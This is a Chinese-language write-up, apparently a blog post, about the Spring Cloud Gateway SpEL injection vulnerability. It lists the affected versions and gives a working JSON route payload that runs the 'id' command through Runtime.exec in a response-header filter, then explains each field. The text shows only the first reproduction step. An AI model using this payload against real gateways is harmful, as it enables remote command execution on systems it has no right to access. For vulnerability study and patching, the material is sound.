文章目录
Spring Cloud Gateway
Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入
漏洞,ShortcutConfigurable 接口
的 getValue()
中使用了 StandardEvaluationContext
类来执行 SpEL 表达式,当攻击者可以访问Actuator API的情况下,可以利用该漏洞执行任意命令。
漏洞版本
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
旧的、不受支持的版本也会受到影响
漏洞复现
1、IP:端口,抓包修改请求包,构造包含恶意SpEL表达式的路由
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
id
:指定新路由的名称,必须全局唯一;
filters
:字段给这条路由指定若干个过滤器。过滤器用于对请求和响应进行修改;
name
:字段指定要添加的过滤器,这里添加了一个 AddResponseHeader 过滤器,用于 gateway 给客户端返回响应之前添加一个响应头;
args.name
:字段指定要添加的响应头;
args.value
:字段指定响应头的值。这里的值是要执行的 SpEL 表达式,用于执行 id 命令。注意需要将命令输出结尾的换行符去掉,否则过滤器执行时会抛出异常说「响应头的值不能以 \r 或 \n 结尾」;
uri
:字段指定将客户端请求转发到 http://example.com。